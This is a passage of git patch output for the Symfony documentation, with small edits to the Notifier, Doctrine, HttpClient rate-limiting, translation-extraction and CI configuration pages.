+++ b/profiler.rst @@ -51,7 +51,9 @@ method to access to its associated profile:: .. note:: - To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`. + The ``profiler`` service will be :doc:`autowired </service_container/autowiring>` + automatically when type-hinting any service argument with the + :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class. When the profiler stores data about a request, it also associates a token with it; this token is available in the ``X-Debug-Token`` HTTP header of the response. From be4428d43acba22f33a834ae405a6e929156e2f4 Mon Sep 17 00:00:00 2001 From: novah77 <novah.dev.symfony@gmail.com> Date: Tue, 27 Aug 2024 18:17:36 +0300 Subject: [PATCH 389/615] Fix Uncaught ArgumentCountError Set second argument with an empty array for the two instructions to get rid of the fatal error uncaught argumentError --- components/expression_language.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index eeababaf373..f718f928702 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -99,11 +99,11 @@ other hand, returns a boolean indicating if the expression is valid or not:: $expressionLanguage = new ExpressionLanguage(); - var_dump($expressionLanguage->parse('1 + 2')); + var_dump($expressionLanguage->parse('1 + 2', [])); // displays the AST nodes of the expression which can be // inspected and manipulated - var_dump($expressionLanguage->lint('1 + 2')); // displays true + var_dump($expressionLanguage->lint('1 + 2', [])); // displays true Passing in Variables -------------------- From 6528840fe01c243c2f671007cae9b21993396068 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 22 Aug 2024 15:27:42 +0200 Subject: [PATCH 390/615] Use DOCtor-RST 1.62.2 and new `no_broken_ref_directive` rule --- .doctor-rst.yaml | 1 + .github/workflows/ci.yaml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 93d90a1df9f..4f07d84cd25 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -39,6 +39,7 @@ rules: no_blank_line_after_filepath_in_xml_code_block: ~ no_blank_line_after_filepath_in_yaml_code_block: ~ no_brackets_in_method_directive: ~ + no_broken_ref_directive: ~ no_composer_req: ~ no_directive_after_shorthand: ~ no_duplicate_use_statements: ~ diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index e8142fecd10..f18be0d0e45 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.61.1 + uses: docker://oskarstark/doctor-rst:1.62.2 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From 398f6d1afd207e70f355137b00589a3a60c1cf99 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 28 Aug 2024 13:44:59 +0200 Subject: [PATCH 391/615] [Notifier] Misc. minor tweaks --- notifier.rst | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/notifier.rst b/notifier.rst index 3bf2d34e34f..08c9e51dcb7 100644 --- a/notifier.rst +++ b/notifier.rst @@ -15,12 +15,14 @@ Get the Notifier installed using: $ composer require symfony/notifier .. _channels-chatters-texters-email-and-browser: +.. _channels-chatters-texters-email-browser-and-push: -Channels: Chatters, Texters, Email, Browser and Push ----------------------------------------------------- +Channels +-------- -The notifier component can send notifications to different channels. Each -channel can integrate with different providers (e.g. Slack or Twilio SMS) +Channels refer to the different mediums through which notifications can be delivered. +These channels can include email, SMS, chat services, push notifications, etc. +Each channel can integrate with different providers (e.g. Slack or Twilio SMS) by using transports. The notifier component supports the following channels: @@ -33,16 +35,16 @@ The notifier component supports the following channels: * Browser channel uses :ref:`flash messages <flash-messages>`. * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications. -.. tip:: - - Use :doc:`secrets </configuration/secrets>` to securely store your - API tokens. - .. _notifier-sms-channel: SMS Channel ~~~~~~~~~~~ +The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes +to send SMS messages to mobile phones. This feature requires subscribing to +a third-party service that sends SMS messages. Symfony provides integration +with a couple popular SMS services: + .. caution:: If any of the DSN values contains any character considered special in a @@ -50,11 +52,6 @@ SMS Channel encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. -The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes -to send SMS messages to mobile phones. This feature requires subscribing to -a third-party service that sends SMS messages. Symfony provides integration -with a couple popular SMS services: - ================== ==================================================================================================================================== Service ================== ==================================================================================================================================== @@ -213,6 +210,11 @@ Service The `Sendinblue`_ integration is deprecated since Symfony 6.4, use the `Brevo`_ integration instead. +.. tip:: + + Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely + store your API tokens. + .. tip:: Some third party transports, when using the API, support status callbacks From 3637c8d8ec32450da0f7f13191646bedcb837d15 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 28 Aug 2024 14:11:16 +0200 Subject: [PATCH 392/615] Use DOCtor-RST 1.62.3 --- .github/workflows/ci.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index f18be0d0e45..7c0ca18ed0d 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.62.2 + uses: docker://oskarstark/doctor-rst:1.62.3 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From 4065cbfbd97a21ce20782cbcfe1f84edb8e4d945 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 28 Aug 2024 14:12:49 +0200 Subject: [PATCH 393/615] [CI] Use actions/checkout@v4 --- .github/workflows/ci.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index f18be0d0e45..8aa83d74fbf 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -21,7 +21,7 @@ jobs: steps: - name: "Checkout" - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: "Set-up PHP" uses: shivammathur/setup-php@v2 @@ -57,7 +57,7 @@ jobs: steps: - name: "Checkout" - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: "Create cache dir" run: mkdir .cache @@ -86,7 +86,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v3 + uses: actions/checkout@v4 with: path: 'docs' From e6e298421a7a43ceff3ff71f47dc4b71d83866b2 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 28 Aug 2024 16:29:26 +0200 Subject: [PATCH 394/615] Minor tweaks --- notifier.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/notifier.rst b/notifier.rst index 08c9e51dcb7..7d5e395fb02 100644 --- a/notifier.rst +++ b/notifier.rst @@ -21,9 +21,9 @@ Channels -------- Channels refer to the different mediums through which notifications can be delivered. -These channels can include email, SMS, chat services, push notifications, etc. -Each channel can integrate with different providers (e.g. Slack or Twilio SMS) -by using transports. +These channels include email, SMS, chat services, push notifications, etc. Each +channel can integrate with different providers (e.g. Slack or Twilio SMS) by +using transports. The notifier component supports the following channels: From 63c749ff15aa15d93539695e7abdb5d3a2e21b73 Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Thu, 29 Aug 2024 13:50:09 +0200 Subject: [PATCH 395/615] chore: relocate the sqlite note block in a better place --- doctrine.rst | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/doctrine.rst b/doctrine.rst index 770a7b32a0a..f3a34757374 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -174,13 +174,6 @@ Whoa! You now have a new ``src/Entity/Product.php`` file:: Confused why the price is an integer? Don't worry: this is just an example. But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues. -.. note:: - - If you are using an SQLite database, you'll see the following error: - *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL - column with default value NULL*. Add a ``nullable=true`` option to the - ``description`` property to fix the problem. - .. caution:: There is a `limit of 767 bytes for the index key prefix`_ when using @@ -323,6 +316,13 @@ The migration system is *smart*. It compares all of your entities with the curre state of the database and generates the SQL needed to synchronize them! Like before, execute your migrations: +.. note:: + + If you are using an SQLite database, you'll see the following error: + *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL + column with default value NULL*. Add a ``nullable=true`` option to the + ``description`` property to fix the problem. + .. code-block:: terminal $ php bin/console doctrine:migrations:migrate From ce6e820aa394a0e6f048e4d8c647de34cc8da85a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 30 Aug 2024 08:26:57 +0200 Subject: [PATCH 396/615] Minor tweak --- doctrine.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/doctrine.rst b/doctrine.rst index f3a34757374..aba27545211 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -316,17 +316,17 @@ The migration system is *smart*. It compares all of your entities with the curre state of the database and generates the SQL needed to synchronize them! Like before, execute your migrations: -.. note:: +.. code-block:: terminal + + $ php bin/console doctrine:migrations:migrate + +.. caution:: If you are using an SQLite database, you'll see the following error: *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL column with default value NULL*. Add a ``nullable=true`` option to the ``description`` property to fix the problem. -.. code-block:: terminal - - $ php bin/console doctrine:migrations:migrate - This will only execute the *one* new migration file, because DoctrineMigrationsBundle knows that the first migration was already executed earlier. Behind the scenes, it manages a ``migration_versions`` table to track this. From 6ac0e212d7ac96b745ce5e1e20f79184d69e5ee5 Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Fri, 30 Aug 2024 08:56:14 +0200 Subject: [PATCH 397/615] feat: remove mention of FOSUserBundle in doc --- security/ldap.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/ldap.rst b/security/ldap.rst index 307d9996c9b..e51e8dda47f 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -25,7 +25,7 @@ This means that the following scenarios will work: either the LDAP form login or LDAP HTTP Basic authentication providers. * Checking a user's password against an LDAP server while fetching user - information from another source (database using FOSUserBundle, for + information from another source like your main database for example). * Loading user information from an LDAP server, while using another From f4a552b9cd894ff233802ca52d66f7345908f26c Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Fri, 30 Aug 2024 10:39:06 +0200 Subject: [PATCH 398/615] [FrameworkBundle] Lower uppercase `must` --- reference/configuration/framework.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index ce1062de1c8..c9ece98be72 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -3268,7 +3268,7 @@ settings from the base pool as defaults. .. note:: - Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface. + Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface. public """""" From e7e60e1f0430cc69a25a2a24405032ed189d5226 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 30 Aug 2024 13:07:33 +0200 Subject: [PATCH 399/615] Minor tweak --- reference/configuration/framework.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index c9ece98be72..4432563f597 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -3268,7 +3268,7 @@ settings from the base pool as defaults. .. note:: - Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface. + Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface. public """""" From 2bbdc9901b5d9c8f53484717bcb2cbb1b9c169d0 Mon Sep 17 00:00:00 2001 From: Wojciech Kania <wojciech.kania@gmail.com> Date: Sat, 31 Aug 2024 22:15:03 +0200 Subject: [PATCH 400/615] Remove unnecessary type checking for the method from SentMessageEvent --- mailer.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/mailer.rst b/mailer.rst index dca0dde5aad..eafd542e2f3 100644 --- a/mailer.rst +++ b/mailer.rst @@ -1728,14 +1728,10 @@ which is useful for debugging errors:: use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Mailer\Event\SentMessageEvent; - use Symfony\Component\Mailer\SentMessage; public function onMessage(SentMessageEvent $event): void { $message = $event->getMessage(); - if (!$message instanceof SentMessage) { - return; - } // do something with the message } From 1976372c532977ae1215f58c2698f2c16f722036 Mon Sep 17 00:00:00 2001 From: Julien Dephix <jdephix@hotmail.com> Date: Tue, 27 Aug 2024 16:59:53 +0200 Subject: [PATCH 401/615] Fix typos in end_to_end.rst --- testing/end_to_end.rst | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index 4ae6fb9da15..eede672bfce 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -49,9 +49,9 @@ to install ChromeDriver and geckodriver locally: $ vendor/bin/bdi detect drivers -Panther will detect and use automatically drivers stored in the ``drivers/`` directory +Panther will detect and automatically use drivers stored in the ``drivers/`` directory of your project when installing them manually. You can download `ChromeDriver`_ -for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in +for Chromium or Chrome and `GeckoDriver`_ for Firefox and put them anywhere in your ``PATH`` or in the ``drivers/`` directory of your project. Alternatively, you can use the package manager of your operating system @@ -132,7 +132,7 @@ Creating a TestCase ~~~~~~~~~~~~~~~~~~~ The ``PantherTestCase`` class allows you to write end-to-end tests. It -automatically starts your app using the built-in PHP web server and let +automatically starts your app using the built-in PHP web server and lets you crawl it using Panther. To provide all the testing tools you're used to, it extends `PHPUnit`_'s ``TestCase``. @@ -264,8 +264,7 @@ future:: } } -You can then run this test by using PHPUnit, like you would do for any other -test: +You can then run this test using PHPUnit, like you would for any other test: .. code-block:: terminal @@ -498,13 +497,13 @@ Having a Multi-domain Application ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ It happens that your PHP/Symfony application might serve several different -domain names. As Panther saves the Client in memory between tests to improve +domain names. As Panther saves the client in memory between tests to improve performance, you will have to run your tests in separate processes if you write several tests using Panther for different domain names. To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation. Here is an example using the ``external_base_uri`` option to determine the -domain name used by the Client when using separate processes:: +domain name used by the client when using separate processes:: // tests/FirstDomainTest.php namespace App\Tests; @@ -792,7 +791,7 @@ The following features are not currently supported: * Selecting invalid choices in select Also, there is a known issue if you are using Bootstrap 5. It implements a -scrolling effect, which tends to mislead Panther. To fix this, we advise you to +scrolling effect which tends to mislead Panther. To fix this, we advise you to deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll`` variable to ``false`` in your style file: From e8d3ad513297ce3445401862aac816d201955d8f Mon Sep 17 00:00:00 2001 From: Ed Poulain <edpoulain@gmail.com> Date: Sun, 1 Sep 2024 09:51:55 +0200 Subject: [PATCH 402/615] Use the same template across all examples --- security/login_link.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/security/login_link.rst b/security/login_link.rst index 23756024712..51f6f613f1b 100644 --- a/security/login_link.rst +++ b/security/login_link.rst @@ -277,7 +277,7 @@ number:: return $this->render('security/login_link_sent.html.twig'); } - return $this->render('security/login.html.twig'); + return $this->render('security/request_login_link.html.twig'); } // ... @@ -664,7 +664,7 @@ user create this POST request (e.g. by clicking a button):: <h2>Hi! You are about to login to ...</h2> <!-- for instance, use a form with hidden fields to - create the POST request ---> + create the POST request --> <form action="{{ path('login_check') }}" method="POST"> <input type="hidden" name="expires" value="{{ expires }}"> <input type="hidden" name="user" value="{{ user }}"> From 08e3831fbb9344822b7751a7a83c290189ad6c7f Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sun, 1 Sep 2024 10:48:47 +0200 Subject: [PATCH 403/615] fix typo --- security/ldap.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/ldap.rst b/security/ldap.rst index e51e8dda47f..b8db2d03a4f 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -25,7 +25,7 @@ This means that the following scenarios will work: either the LDAP form login or LDAP HTTP Basic authentication providers. * Checking a user's password against an LDAP server while fetching user - information from another source like your main database for + information from another source (like your main database for example). * Loading user information from an LDAP server, while using another From bc88843304a3f7d512aec8cd168e0630abec687c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com> Date: Wed, 28 Aug 2024 21:45:50 +0200 Subject: [PATCH 404/615] [FrameworkBundle][HttpClient] Adding an explanation of ThrottlingHttpClient integration with the Framework --- http_client.rst | 104 +++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 89 insertions(+), 15 deletions(-) diff --git a/http_client.rst b/http_client.rst index f1c150b54eb..91b91ebc4a5 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1488,30 +1488,104 @@ Limit the Number of Requests ---------------------------- This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` -decorator that allows to limit the number of requests within a certain period. +decorator that allows to limit the number of requests within a certain period, +potentially delaying calls based on the rate limiting policy. The implementation leverages the :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood so the :doc:`Rate Limiter component </rate_limiter>` needs to be installed in your application:: - use Symfony\Component\HttpClient\HttpClient; - use Symfony\Component\HttpClient\ThrottlingHttpClient; - use Symfony\Component\RateLimiter\LimiterInterface; +.. configuration-block:: - $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface - $client = HttpClient::create(); - $client = new ThrottlingHttpClient($client, $rateLimiter); + .. code-block:: yaml - $requests = []; - for ($i = 0; $i < 100; $i++) { - $requests[] = $client->request('GET', 'https://example.com'); - } + # config/packages/framework.yaml + framework: + http_client: + scoped_clients: + example.client: + base_uri: 'https://example.com' + rate_limiter: 'http_example_limiter' - foreach ($requests as $request) { - // Depending on rate limiting policy, calls will be delayed - $output->writeln($request->getContent()); - } + rate_limiter: + # Don't send more than 10 requests in 5 seconds + http_example_limiter: + policy: 'token_bucket' + limit: 10 + rate: { interval: '5 seconds', amount: 10 } + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:http-client> + <framework:scoped-client name="example.client" + base-uri="https://example.com" + rate-limiter="http_example_limiter" + /> + </framework:http-client> + + <framework:rate-limiter> + <!-- Don't send more than 10 requests in 5 seconds --> + <framework:limiter name="http_example_limiter" + policy="token_bucket" + limit="10" + > + <framework:rate interval="5 seconds" amount="10"/> + </framework:limiter> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient()->scopedClient('example.client') + ->baseUri('https://example.com') + ->rateLimiter('http_example_limiter'); + // ... + ; + + $framework->rateLimiter() + // Don't send more than 10 requests in 5 seconds + ->limiter('http_example_limiter') + ->policy('token_bucket') + ->limit(10) + ->rate() + ->interval('5 seconds') + ->amount(10) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HttpClient\HttpClient; + use Symfony\Component\HttpClient\ThrottlingHttpClient; + use Symfony\Component\RateLimiter\RateLimiterFactory; + use Symfony\Component\RateLimiter\Storage\InMemoryStorage; + + $factory = new RateLimiterFactory([ + 'id' => 'http_example_limiter', + 'policy' => 'token_bucket', + 'limit' => 10, + 'rate' => ['interval' => '5 seconds', 'amount' => 10], + ], new InMemoryStorage()); + $limiter = $factory->create(); + + $client = HttpClient::createForBaseUri('https://example.com'); + $throttlingClient = new ThrottlingHttpClient($client, $limiter); .. versionadded:: 7.1 From 00bb3783ca829f0c32e3e0e01e53abebf7de96f3 Mon Sep 17 00:00:00 2001 From: Wojciech Kania <wojciech.kania@gmail.com> Date: Sun, 1 Sep 2024 19:42:01 +0200 Subject: [PATCH 405/615] Replace code block text with terminal where it was used incorrectly --- components/console/helpers/table.rst | 4 ++-- contributing/community/reviews.rst | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst index 8d160689de7..171412511aa 100644 --- a/components/console/helpers/table.rst +++ b/components/console/helpers/table.rst @@ -199,7 +199,7 @@ You can also set the style to ``box``:: which outputs: -.. code-block:: text +.. code-block:: terminal ┌───────────────┬──────────────────────────┬──────────────────┐ │ ISBN │ Title │ Author │ @@ -217,7 +217,7 @@ You can also set the style to ``box-double``:: which outputs: -.. code-block:: text +.. code-block:: terminal ╔═══════════════╤══════════════════════════╤══════════════════╗ ║ ISBN │ Title │ Author ║ diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst index ba08e4ffd36..94c37643988 100644 --- a/contributing/community/reviews.rst +++ b/contributing/community/reviews.rst @@ -167,7 +167,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: PR by running the following Git commands. Insert the PR ID (that's the number after the ``#`` in the PR title) for the ``<ID>`` placeholders: - .. code-block:: text + .. code-block:: terminal $ cd vendor/symfony/symfony $ git fetch origin pull/<ID>/head:pr<ID> @@ -175,7 +175,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: For example: - .. code-block:: text + .. code-block:: terminal $ git fetch origin pull/15723/head:pr15723 $ git checkout pr15723 From 9041d0561814160270179e319970e12dd4bc47e8 Mon Sep 17 00:00:00 2001 From: Ramin Banihashemi <a@ramin.it> Date: Sun, 1 Sep 2024 00:20:06 +0200 Subject: [PATCH 406/615] =?UTF-8?q?[Translation]=20fix:=20add=20nikic/php-?= =?UTF-8?q?parser=20requirement=20for=20translation:extract=20in=20tran?= =?UTF-8?q?=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translation.rst | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/translation.rst b/translation.rst index 90409acc589..7c596c78b11 100644 --- a/translation.rst +++ b/translation.rst @@ -462,6 +462,14 @@ The ``translation:extract`` command looks for missing translations in: The support of PHP files/classes that use constraint attributes was introduced in Symfony 6.2. +To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc... + +To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`. + +.. code-block:: terminal + + $ composer require nikic/php-parser + .. _translation-resource-locations: Translation Resource/File Names and Locations From ad9262617b9bd02027f840c3626470725112e02c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 2 Sep 2024 12:28:31 +0200 Subject: [PATCH 407/615] Reword --- translation.rst | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/translation.rst b/translation.rst index 7c596c78b11..39ba34a519d 100644 --- a/translation.rst +++ b/translation.rst @@ -462,13 +462,15 @@ The ``translation:extract`` command looks for missing translations in: The support of PHP files/classes that use constraint attributes was introduced in Symfony 6.2. -To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc... +.. tip:: -To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`. + Install the ``nikic/php-parser`` package in your project to improve the + results of the ``translation:extract`` command. This package enables an + `AST`_ parser that can find many more translatable items: -.. code-block:: terminal + .. code-block:: terminal - $ composer require nikic/php-parser + $ composer require nikic/php-parser .. _translation-resource-locations: @@ -1594,3 +1596,4 @@ Learn more .. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md .. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md .. _`Phrase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Phrase/README.md +.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree From 4a5adff84946798aacf9f6963bf6660ec6f51de1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 2 Sep 2024 12:33:00 +0200 Subject: [PATCH 408/615] [Translation] Added a missing versionadded directive --- translation.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/translation.rst b/translation.rst index 39ba34a519d..ad463b34823 100644 --- a/translation.rst +++ b/translation.rst @@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in: $ composer require nikic/php-parser + .. versionadded:: 6.2 + + The AST parser support was introduced in Symfony 6.2. + .. _translation-resource-locations: Translation Resource/File Names and Locations From 4b4b1a0a15858fc15be4d7c1497da480ed44a8e0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 2 Sep 2024 12:33:59 +0200 Subject: [PATCH 409/615] =?UTF-8?q?[Translation]=C2=A0Remove=20an=20unneed?= =?UTF-8?q?ed=20versionadded=20directive?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translation.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/translation.rst b/translation.rst index ad463b34823..39ba34a519d 100644 --- a/translation.rst +++ b/translation.rst @@ -472,10 +472,6 @@ The ``translation:extract`` command looks for missing translations in: $ composer require nikic/php-parser - .. versionadded:: 6.2 - - The AST parser support was introduced in Symfony 6.2. - .. _translation-resource-locations: Translation Resource/File Names and Locations From 967949292aaa3682c02fbf8be6e5938639551d76 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 2 Sep 2024 12:34:39 +0200 Subject: [PATCH 410/615] [Translation] Read a versionadded directive --- translation.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/translation.rst b/translation.rst index 39ba34a519d..ad463b34823 100644 --- a/translation.rst +++ b/translation.rst @@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in: $ composer require nikic/php-parser + .. versionadded:: 6.2 + + The AST parser support was introduced in Symfony 6.2. + .. _translation-resource-locations: Translation Resource/File Names and Locations From a1baaf1987ec2aaebba611dc39a600d0dd5907a2 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 2 Sep 2024 16:51:20 +0200 Subject: [PATCH 411/615] fix typo --- security/custom_authenticator.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index c40765e9a8a..dcddbc03444 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -37,7 +37,7 @@ method that fits most use-cases:: */ public function supports(Request $request): ?bool { - // "auth_token" is an example of a custom, non-standard HTTP header used in this application + // "auth-token" is an example of a custom, non-standard HTTP header used in this application return $request->headers->has('auth-token'); } From 3fecb780fb4e866cd83c1f669b5c22dcdbfbe0b2 Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Mon, 2 Sep 2024 15:33:05 -0300 Subject: [PATCH 412/615] Update reference for "framework.cache.prefix_seed" config node --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 6ec90ad032b..1d0be35b088 100644 --- a/messenger.rst +++ b/messenger.rst @@ -532,7 +532,7 @@ On production, there are a few important things to think about: **Use the Same Cache Between Deploys** If your deploy strategy involves the creation of new target directories, you - should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>` + should set a value for the :ref:`cache.prefix_seed <reference-cache-prefix-seed>` configuration option in order to use the same cache namespace between deployments. Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir`` parameter as base for the namespace, which will lead to different namespaces From dea8bf6a3a928bd4f6eceedc69e60a70b0668633 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Tue, 3 Sep 2024 09:50:17 +0200 Subject: [PATCH 413/615] Translation - fix lint for ci --- translation.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/translation.rst b/translation.rst index 50de01cfc1e..f1704ddccb2 100644 --- a/translation.rst +++ b/translation.rst @@ -467,10 +467,6 @@ The ``translation:extract`` command looks for missing translations in: $ composer require nikic/php-parser - .. versionadded:: 6.2 - - The AST parser support was introduced in Symfony 6.2. - .. _translation-resource-locations: Translation Resource/File Names and Locations From 4ee1a121a88974c41e75051bca32552835a9a32e Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Tue, 3 Sep 2024 07:18:48 -0300 Subject: [PATCH 414/615] Add missing backticks in inline snippets --- 